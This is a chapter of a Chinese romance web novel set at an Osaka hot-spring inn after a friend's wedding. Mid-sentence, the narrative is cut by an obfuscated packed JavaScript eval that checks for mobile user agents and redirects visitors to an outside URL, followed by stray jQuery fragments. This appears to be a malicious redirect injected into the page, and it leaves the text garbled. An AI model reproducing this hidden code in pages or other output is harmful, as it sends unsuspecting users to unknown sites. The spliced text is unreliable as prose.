立秋的那天，钟栀了到达大阪。
身边人当时笑说，怪不得片寄凉太和服部平次那么黑，因为他们的故乡是关西。
八月的日本，少见温柔，满是爆款的暑气。
入夜之后，山间空气湿热、蝉鸣不断。
钟栀了在榻榻米上辗转反侧，到底还是起了身，小心地走出房间。
她年少时在此地生活多年，后来又在繁华都市中学习数载，兜转之后发现自己最爱的还是寂静山野。
将近3000坪的日式庭院，四季多彩。她最好的朋友早川希子，白天刚在这里举办过人前式婚礼[1]。
钟栀了作为亲友代表在婚礼上致辞，一边读发言稿一边流泪，全然没有心思欣赏周遭美景。此时喧闹已过，她拿起画本再来到庭院，随便找了一张长椅坐下，终于有时间可以描绘这间温泉旅馆。
寂静之中画得更快，笔迹在纸上延伸，古朴的屋宇、垂脊的吻兽……随即，一个漂亮的世界慢慢成形。
她原先学的就是古建筑修复，相比于人物，更喜欢画建筑。而此刻在身下长椅的位置，钟栀了又添了几笔，画了几朵并不存在的野山栀。
满篇黑白，独独那些花，被她私心上了色——还是鲜艳的橘红。
她反复看了几遍，觉得甚是满意。翻过纸张，脑中思量着措辞，直接在反面落笔写下字句。
【亲爱的夏亭殊，你好！
你曾讲要带我去伯明翰，现在，我想先邀请你来大阪。
原先的家即将拆迁，好在我已找到了一个更好的住所。
虽然这里看起来古旧了一些，但我相信你会很喜欢的。
此前我再次翻遍家中，还是没能找到你生活过的痕迹。
不过我看到了你在画本上写下的英文，MissZhong。
可这究竟是想念钟小姐，还是中国小姐呢？
无论哪一个，我都很开心。
原谅我词语匮乏，时至今日，也没能回馈你同样的情话。
但是，这么久了，我依然爱你。
如果你收到信，就请快些来吧，我希望与你重逢在明年花开时节。
你爱的钟栀了。】
她将纸张撕下，折成一个爱心的形状，又小心地夹回了本子里。这时，一个声音在身后突兀地响起——
“你怎么在这里？”
这样懒散的语调，不用看都知道是谁。钟栀了头都没回，弯腰把东西放在了脚边，才举着对后面遥遥招手，“过来。”
伴随着拖沓的步子，江稹不算情愿地挪近。
褪去日间华服，两人都是一身休闲装束。他的额头覆了一层细密薄汗，拽起短袖衣领随意地擦过，在她身侧自然落座，“干吗？”
她胳膊碰他，指着不远处的月见草，问，“你看，像不像爱丽丝梦游仙境？”
周遭气息潮潮润润，带着挥之不去的粘腻滋味。而月光下的斑驳树影间，小片粉白花朵在微风中轻摇，显得异常清爽。
江稹费力看清，隐隐带了兴致，但话到嘴边拐了个弯弯，非说不像。下一秒就被她的巴掌拍在了后脑。
钟栀了不依不饶，“像不像？”
他低骂了一声，拉下她的手，“像、像……能不能不要这么暴|力。”
她好像笑了下，又问，“你这么晚为什么不睡觉？”
他还没问她呢。究竟是谁半夜孤身在庭院待这么久。
江稹其实在窗边看了她好一会了，此时只嘟囔了句要你管，从裤子口袋里摸出一袋樱桃味的软糖，“吃不吃？”
钟栀了没接，“只有小孩才爱吃糖。”
哪来的偏见，他直接把糖收了回去，桀骜得很，“不要拉倒。”
却口是心非，把东西随意地丢在了她的手边。
山风骤起，吹着衣袖鼓鼓囊囊。江稹空出的手五指张开，随意地翻转着腕骨，似在捕风。
身后素墙乌瓦，耳畔泉水叮咚，多么避世的一个存在，让人贪恋。
可她偏要打破，“我回去了。”钟栀了瞥了两人交握的手，用了些力气居然没拽出来，“还不松开？”
江稹手心滚烫，反而握得更紧，“再坐会儿。”
就知道没有起好心思，她说不要。
他看过来，瞳仁清亮，问，“你住哪间？”
钟栀了没回答，只眯起眼对他。
漂亮女孩多见，却少有她这样的鲜艳。她是浓颜系，五官立体，鼻尖挺翘，一双媚眼看过来天然带着几分妖艳。
江稹当初就是被这副模样抓得死死的。
他索性把她拉近了，“我一个人一屋。而且我房里可以泡私汤。”
这话深深戳中痛处，钟栀了只差惊声尖叫，“什么，早川希子给你安排了温泉房？！”
她算什么亲友代表？待遇还不如个伴郎。
他带着丝得意，“我让茨野安排的。”
她费力挣脱站起身，“你自己泡去吧。”
江稹紧随，直接闪身挡住了她。借助身高的绝对优势，他几乎把她完全遮掩，掐她的脸，不满道，“钟栀了，我都24了。”
她只嗯了声，“然后呢？”
手被挥开，他也没在意，“是谁白天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718757|173851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在那里涕泪横流，说什么‘时间从不是问题’的。”
她反问，“我说的是你么？”
人家结婚，不知道他自作多情个什么劲。
江稹一语道破，“你别真像个傻子。这都多久了。”
沉沉月色下，凉风空荡荡地袭来，沉默蔓延。
她长久未作回应，他俯身刚好把她抱住，“了了，我真的长大了。”
钟栀了并未挣脱，只是对着夜空出神。炽热的温情却让她的心头慢慢舒缓开来，连带着四肢百骸都变得懒散。她叫他，“江稹。”
他应了声。
钟栀了遥遥看向夜空，问，“你说，伯明翰的月亮，会和大阪的一样吗？”
江稹微愣，嘀咕了一句没听懂，然后扶过她的脸，低头吻了上去。
*
婚礼结束的第二天，国内来的那一批宾客多前往难波和心斋桥购物。
新郎茨野忙着送客，早川希子约她去吃饭，期间告诉她，“江稹逛了一圈，都买不到你想要的万宝路。那种樱桃味的爆珠，实在太少见了。酸奶的可以吗？”
她说不用，“算了。没关系。”
反正人生有很多擦肩而过，并不都是遗憾。
已近暮年的老板在屋内屋外不断往返，送来和食早餐。
钟栀了看着墙上挂着的一幅“春花秋月”书法出神，漫不经心问道，“这间旅馆承包下来，需要多少钱？”
她记得早川希子说过，因为老板的孙子出生，他们打算年前盘出店面，前往照顾。
好友没听懂，“什么？”
钟栀了坦白，“我想了想，好像当个民宿老板也不错。”
“我可以帮你去问问。”早川希子只当她突然兴起，问道，“这算是什么新类型的投资吗？请经理是不是还得花钱？我提前声明哦，我可是一窍不通。”
她说没关系，“边做边看吧。也省得我再找房子了。”
早川希子有一瞬间的错愕，而后明白了她的话，“你要定居吗？”
“在考虑。”
“如果房子不拆就好了。那你写的信，夏亭殊一定会收到。”小新娘叹气，说话间，从口袋里拿出了那只爱心，“你丢在了花园里，被我捡到了。”
钟栀了看了一眼就知道是什么了，摇头，“我故意的。”
早川希子递过来的动作停下，手悬在半空。
钟栀了读懂她惊讶的眼神。
但是过去这么久，她早就已经看开这一切，只笑着说，“希子，夏天已经结束了。”
今年的夏天，我们都要开始新的生活了。